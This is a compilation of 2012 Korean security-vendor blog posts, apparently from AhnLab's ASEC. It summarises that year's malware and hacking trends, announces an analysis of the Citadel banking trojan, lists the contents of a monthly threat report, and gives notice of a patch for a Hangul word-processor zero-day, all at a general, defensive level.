이와 동시에 좀더 진화한 형태도 나타났다. 정상 전자문서나 이미지 파일을 악성코드와 함께 압축 파일[RARSfx]로 만들어 이메일에 첨부한 것이 대표적이다. RARSfx 파일은 압축을 풀지 않아도 실행이 되기 때문에, 사용자가 전자문서나 이미지 파일이라 생각하고 실행한 경우 뜻하지 않게 악성코드에 감염될 수 있다. 이 밖에 윈도우의 도움말 파일[HLP]에 악성코드를 삽입해 이메일로 전달하는 형태도 등장했다.


또한 공격 대상이 되는 기관[기업]에서 사용 빈도가 높은 운영체제를 파악한 뒤, 그에 맞는맞춤형 악성코드를 제작하거나 모바일 기기에서 작동하는 악성코드를 제작, 유포하는 형태도 발견됐다. 특히 국내에서는 기업이나 공공기관에서 자주 사용하는 소프트웨어의 업데이트 파일을 악성코드로 변경, 유포한 사례도 있었다.

 

공격 대상의 범위도 다각화했다. 과거에는 첨단 산업 분야에서 각 기업의 내부 기밀 자료를 탈취하고자 하는 목적으로 이뤄졌다. 그러나 이제는 정치적인 사안이나 군사 정보를 확보하기 위한 목적으로 정부 기관과 민간 단체에도 공격이 시도되면서 그 폭이 넓어졌다.

 

2. 소프트웨어의 취약점 악용 지속 증가

 

올해 소프트웨어의 취약점을 악용한 보안 위협은 특정 지역에서 주로 사용되는 소프트웨어를 악용하는 형태가 증가했다.

 

국내에서 가장 눈에 띄는 것은 국산 문서 프로그램을 악용한 공격이다. 특히 올해는 제로데이 취약점이 발견되었으며, 이를 활용한 공공 및 정부기관 내부 직원들 타깃의 공격도 가해져 주목을 끌었다. 이는 해당 문서 프로그램이 국내에서 사용 빈도가 높다는 점에서 국내 타깃 공격이 증대되고 있는 징후로 해석할 수 있다.


이 밖에 세계적으로 사용빈도가 높은 소프트웨어의 취약점을 악용한 보안 위협도 지속적으로 발견됐다. 어도비 플래시를 비롯해 MS사의 소프트웨어에서 윈도우 미디어, XML 코어 서비스, 윈도우 공용 콘트롤 취약점, 인터넷 익스플로러 버전7과8의 취약점을 악용한 위협이 다수 발견됐다. 지난해부터 위협 대상으로 떠오른 자바 역시JRE 7에 존재하는 취약점을 악용한 형태가 등장했다.

 

3. 정치적 이슈 두드러진 사회공학 공격 기법


사회공학적 공격 기법에서는 정치적인 이슈를 악용한 보안 위협이 크게 늘었다. 미국과 한국의 대선 등 올해가 세계적으로정치의 해였기 때문에 세간의 관심과 호기심을 자극할 수 있는 정치 이슈를 악용한 공격이 증대된 것으로 풀이된다.


올해 사회공학적 공격 기법에 악용된 정치 이슈는 한국의4.11 총선과 미국의 대선, 한국의 대선 등을 들 수 있다. 또한 북한 광명성3호 발사 및 핵실험, 2012 서울핵안보정상회의 등이다. 사회적으로 이슈가 된 현안들도 공격에 자주 이용됐다. 세계적인 이목이 집중됐던 런던올림픽과, 국내서 뜨거운 화제가 됐던 한 걸그룹의 멤버왕따 사건도 활용됐다.


이 밖에 유명 패스트푸드 업체에서 제공하는 프리미엄 환불 서비스, 한 보안 업체의 보안 관련 소식, 남성이 주로 읽는 무협지, 자동차 업체가 제공하는 경품 이벤트 등의 주제로 이메일이 발송된 사례 등도 있다.

 

4. 모바일 악성코드 급증

 

모바일 악성코드는 수적 증가뿐 아니라 유포 방식의 다변화, 기능의 지능화, 공격 지역의 국지화를 특징으로 꼽을 수 있다.

 

수적 증가는 악성코드 제작자에게 모바일 환경이 금전 탈취가 가능한 새로운 시장으로 인식됐기 때문으로 보인다.

 

유포 방식은 과거 안드로이드 공식 마켓이나 서드 파티 마켓 중심이었으나, 올해는 유용한 애플리케이션이나 유명한 게임으로 위장해 허위 안드로이드 마켓에서 유포되는 방식이 등장했다. 또한 트위터나SMS[휴대전화 문자]를 통해 단축URL을 유포하는 형태도 등장했다.

 

기능의 지능화는 스마트폰의 하드웨어 정보, 사용자 개인정보는 물론이고 온라인 뱅킹 인증번호를 포함한SMS를 탈취하는 데까지 이르렀다. 모바일 백신으로 위장해 금전적 대가를 요구하는 형태도 등장했다.

 

공격 지역의 국지화는 이스라엘 사용자를 겨냥해 히브리어로 제작한 악성코드, 국내 공공기관을 사칭하거나 스마트폰 청구서로 위장한 악성코드 등에서 나타났다.

 

5. 악성코드의 고도화

 

올해 발견된 악성코드들은 과거보다 자체 보호 기능이 강해진 한편, 부팅 관련 영역까지 감염시킬 정도로 고도화했으며, 금융 정보를 직접 탈취할 정도로 과감해졌다.

 

과거에는 실행 압축과 암호화 기법 등을 사용해 보안 소프트웨어의 탐지를 회피하는 비교적 소극적인 방법을 택했다. 그러나2012년에는 보안 소프트웨어 관련 파일을 직접 삭제하거나, 보안 소프트웨어가 실행되지 않도록 운영체제의 커널[Kernel] 영역에 접근하는 적극적인 방법이 나타났다.

 

부팅 관련 영역인MBR[Master Boot Record]을 감염시키는부트킷[Bootkit] 형태의 악성코드도 올해 지속적으로 발견됐다. MBR은PC가 부팅하는 데 필요한 정보들이 저장된 물리적인 하드 디스크 영역이다. MBR은 구조가 복잡하고 크기도 제한적이라 이를 겨냥한 악성코드를 제작하기가 어렵다. 그만큼 백신 프로그램으로 진단/치료하기도 매우 까다롭다. 그러나 최근 들어 이런 유형의 부트킷 형태의 악성코드가 속속 제작되는 추세이다. 부트킷은 러시아와 중국에서 주로 제작되는 것으로 알려졌으며, 주로 온라인 게임 관련 개인정보 탈취가 목적이다.

 

또한 기존 악성코드는 키보드로 입력되는 개인정보를 이용해 간접적으로 이익을 취했다. 그러나 올해 유포된 뱅키[Banki] 악성코드는 개인 금융 정보를 직접 탈취하는 것이 특징이다. 뱅키[Banki] 트로이목마는PC에 있는 호스트[hosts] 파일을 변조해 가짜 금융권 웹사이트로 사용자를 유도해 개인정보는 물론 공인인증서까지 가로챈다.

 

6. 핵티비즘과 기업 정보 탈취 목적 해킹 빈발

 

2012년에 발생한 해킹 사고들은 크게 두 가지 목적이었다. 정치적인 의사를 표시하기 위해 사용하는 이른바 ‘핵티비즘[Hacktivism]’과, 기업이 가진 내부 정보를 탈취하기 위한 해킹이다.

 

올해4.11 총선과12.19 대선 등 정치 이슈가 많았던 만큼, 각 정당 및 정치단체 홈페이지나 언론사 홈페이지 해킹 등 핵티비즘 성격의 사건이 많았다. 기업 정보를 겨냥한 해킹은 한 방송사의 홈페이지가 해킹돼 회원400만명의 개인정보가 유출된 사고, 대형 통신사가 해킹돼 가입자870만명의 개인정보가 유출된 사고, 문서 프로그램의 업데이트 서버를 통해 악성코드를 유포한 사고 등이 있었다.

 

7. 국내 피싱 웹사이트 급증

 

그동안 해외에서는 흔했지만 국내에서는 거의 없었던 피싱 사이트가 급증했다. 201년에만 국내 대표적 금융사20여 곳이 피싱 사이트에 이용됐다. 피싱 사이트의 유포에는SMS가 주로 활용됐다. 이는 스마트폰 뱅킹의 대중화에 따른 현상으로 보인다. 일부에서는 모바일 브라우저 형태의 피싱 사이트도 등장해 ‘모바일 맞춤형’ 피싱 사이트가 기승을 부리고 있음을 보여주었다.

 

안랩 시큐리티대응센터 이호웅 센터장은"장기간에 걸쳐 지능적인 공격을 하는APT나 각종 악성코드, 해킹, 피싱 등이 노리는 것은 개인정보이다. 개인정보를 이용해 금전적 이익을 취할 수 있기 때문이다. 개인, 기업, 기관 모두 다각적이고 입체적인 대응을 해나가야 한다.”라고 강조했다.

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- 제우스, 스파이아이 이은 금융정보 탈취형 악성코드 Citadel 분석 발표 

- 강화된 정보 수집 기능으로 인터넷 뱅킹 정보 및 PC 정보 수집 

- 인터넷에서 유상 판매...악성코드의 기업화 양상 


세계적으로 큰 피해를 일으켰던 금융정보 탈취형 악성코드인 제우스[Zeus]와 스파이아이[Spyeye]의 뒤를 잇는 강력한 악성코드가 발견됐다.

 

글로벌 보안 기업 안랩[구 안철수연구소, 대표 김홍선, www.ahnlab.com]은 강력한 기능의 금융정보 탈취형 악성코드인 시타델[Citadel] 악성코드에 대한 분석 결과를 발표하고 사용자 주의를 당부했다.

 

시타델은 ‘시타델 빌더’라 불리는 악성코드 생성기로 만들어진 악성코드로, 과거 제우스 악성코드와 작동 방식이 유사하다. 현재 ‘제우스 빌더’가 더 이상 업데이트되지 않고 소스코드까지 공개된 시점에서 새롭게 대두되기 시작한 악성코드이다.

 

안랩의 분석에 따르면 시타델 악성코드의 기능은 전체적으로 제우스와 유사한 경향을 보인다. 따라서 악성코드에 감염된 PC의 네트워크인 봇넷[Botnet]을 구성하기 위한 기능을 기본으로, 사용자의 인터넷 뱅킹 정보, 웹 브라우저 내 저장 정보, SNS[소셜네트워크서비스] 개인정보 등 다양한 데이터를 탈취하는 기능을 가지고 있다. 또한 공격자용 서버인 C&C 서버로부터 허위백신[사용자의 PC를 사용하지 못하게 만들거나 허위로 악성코드에 감염되었다는 정보로 공포심을 유발한 후 이를 해결하기 위한 대가로 직접적인 송금을 강요하는 부류의 악성코드] 등을 추가적으로 내려 받아 감염된 PC 사용자에게 직접적으로 금전을 요구하기도 한다.

 

반면, 정보 탈취의 기능은 제우스에 비해 비약적으로 강화되었다. 제우스의 경우 뱅킹 인증 정보를 훔치기에 앞서 운영체제 정보, 웹 브라우저 정보, 사용자가 설정한 컴퓨터 이름 등 감염 PC의 기본 정보만 모아 공격자에게 전송한다. 반면 시타델은 기본적인 정보 외에 감염 PC가 소속된 네트워크 정보가 포함되어 APT[Advanced Persistent Threat]까지 고려한 정보수집을 시도한다. 예를 들어 로컬 네트워크의 도메인 정보, 데이터베이스 서버 리스트, 사용자 네트워크 환경을 수집하고 윈도우 사용자 및 그룹 계정 정보, 더 나아가 웹 브라우저에 홈페이지로 설정된 정보까지 수집한다.

 

시타델 악성코드는 ‘시타델 스토어’라는 곳에서 판매되고 있다. 악성코드를 생성하는 빌더와관리자용 패널을 판매하는 한편, 미리 구축된 봇넷에 대한 월별 사용료, 백신을 회피하기 위한 서비스 및 업데이트 사용료 등 세분화한 판매 정책으로 기업화 및 전문화한 최근 악성코드의 경향을 반영하고 있다.

 

안랩의 온라인 거래 보안 솔루션인 AOS[AhnLab Online Security]는 이러한 시타델, 스파이아이, 제우스와 같은 고도화한 타깃형 악성코드에 대응하기 위해 특화 설계된 보안 플랫폼이다. AOS는 시큐어 브라우저[AOS Secure Browser], 안티키로거[AOS Anti-keylogger], 방화벽[AOS Firewall], 백신[AOS Anti-virus/spyware]로 구성되어 악성코드 공격 및 키보드를 통한 정보 탈취, 허가되지 않은 외부 침입 방지 등 다양한 보안 위협을 막아낸다. 또한, 안랩은 AOS의 스마트폰용 버전인 ‘AOS 모바일’을 출시하고, 인텔의 개인정보보호 기술인 인텔 IPT[Intel® IPT]를 AOS에 적용해 더욱 강력해진 사용자 인증 기능을 제공한다. AOS는 현재 국내 다양한 금융사를 비롯해 남미의 배너멕스와 산탄데르, 북미 지역의 코너스톤뱅크 등 해외 금융권에도 적용되고 있다.

 

안랩 시큐리티대응센터 이호웅 센터장은 “이제 악성코드는 대부분 금전적인 목적으로 제작되고 있다고 해도 과언이 아니다. 특히 금융정보를 노린 타깃형 악성코드는 더욱 증가할 것으로 예상된다. 사용자는 PC 백신 업데이트, 수상한 메일의 첨부 파일 및 링크 클릭 자제 등 주의가 필요하고, 기업의 경우 자사 시스템과 고객을 동시에 보호할 수 있는 광범위한 보안 솔루션 도입이 필수적이다.”라고 말했다. 

 

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안랩 ASEC에서 2012년 10월 국내,외에서 발생한 다양한 보안 위협 이슈와 동향들을 정리한 ASEC 리포트 2012 Vol.34을 발간하였다. 



이 번에 발간된 ASEC 리포트는 2012년 10월 주요 보안 위협 이슈들을 다음과 같이 분석하고 있다.


1) 악성코드 이슈

10월에 발견된 취약한 한글 문서 파일

MS 워드, PDF 문서들의 취약점을 악용하는 악성코드 다수 발견

한글 소프트웨어의 제로데이 취약점 악용 악성코드

미국 대선 뉴스로 위장한 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷

플레임 악성코드 변형 miniFlame 변형 발견

윈도우 도움말 파일을 이용한 악성코드 유포

국방 관련 내용을 담은 취약한 한글 파일

연봉 계약서로 위장한 취약한 한글 파일 발견

한반도 정황 관련 내용의 취약한 한글 파일 발견

대만 기상청을 대상으로 한 타깃 공격 발견

이스라엘 정부 기관 대상의 타깃 공격 발생

국내 PC 사용자를 대상으로 유포된 아두스카 부트킷

usp10.dll 파일을 이용한 온라인 게임 악성코드


2) 모바일 악성코드 이슈

NH모바일 웹 피싱사이트

방통위 사칭 악성 애플리케이션


3) 악성코드 분석 특집

패치드(Patched) 형태의 악성코드 변천사

ZeroAccess로도 알려진 Smiscer 변형

IFEO 를 이용하는 악성코드

Bootkit Story Part 1. 모체를 찾아라!


4) 보안 이슈

Adobe사의 유출된 code signing 악용사례 발생

미국 금융 기업 DDoS 공격

개인 금융 정보 탈취를 노리는 Banki 트로이목마 변형


ASEC에서 발간하는 월간 보안 위협 동향 리포트는 아래 웹 사이트에서 확인 할 수 있다. 


ASEC 보안 위협 동향 리포트 2012 Vol.34 발간


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ASEC에서는 11월 26일 한글과 컴퓨터에서 개발하는 한글 소프트웨어에 존재하는 알려지지 않은 제로 데이(Zero-Day, 0-Day) 취약점을 악용하여 악성코드 감염을 시도한 공격이 발생하였음을 공개하였다.


2012년 11월 26일 - 국방 관련 내용의 0-Day 취약점 악용 한글 파일


해당 제로 데이 취약점과 관련하여 12월 3일 해당 제로 데이 취약점을 제거 할 수 있는 보안 패치를 배포하기 시작하였다.


[공지]한컴오피스 및 한/글 제품의 보안 패치 업데이트 안내


이 번 보안 패치의 설치 대상이 되는 한글 소프트웨어 제품들은 다음과 같다.


한컴 오피스 2010 SE+, 2007, 2005

한글 2010 SE+, 2007, 2005, 2002


해당 보안 패치는 한글과 컴퓨터 웹 사이트를 통해 보안 패치를 업데이트 할 수 있으며, 아래 이미지와 같이 [한컴 자동 업데이트]를 실행해서도 보안 패치 설치가 가능하다.



[한컴 자동 업데이트]가 실행되면 아래 이미지와 같이 현재 설치되어 있는 한글 프로그램에 맞는 보안 패치를 자동으로 설치할 수 있다.



그리고 아래 이미지의 [환경 설정]을 클릭하여 [업데이트 방법][자동 업데이트 설정]이 가능함으로 최신 보안 패치가 배포될 경우에 자동 업데이트가 진행 된다.



한글 소프트웨어의 알려진 취약점이나 알려지지 않은 취약점을 악용한 악성코드 유포가 지속적으로 발견되고 있다. 


그러므로 한글 소프트웨어 사용자는 한글과 컴퓨터에서 배포하는 보안 패치들을 모두 적용하고 사용 중인 보안 소프트웨어를 최신 업데이트 버전으로 유지하는 것이 악성코드 감염으로부터 시스템을 보호 할 수 있는 방안이다.

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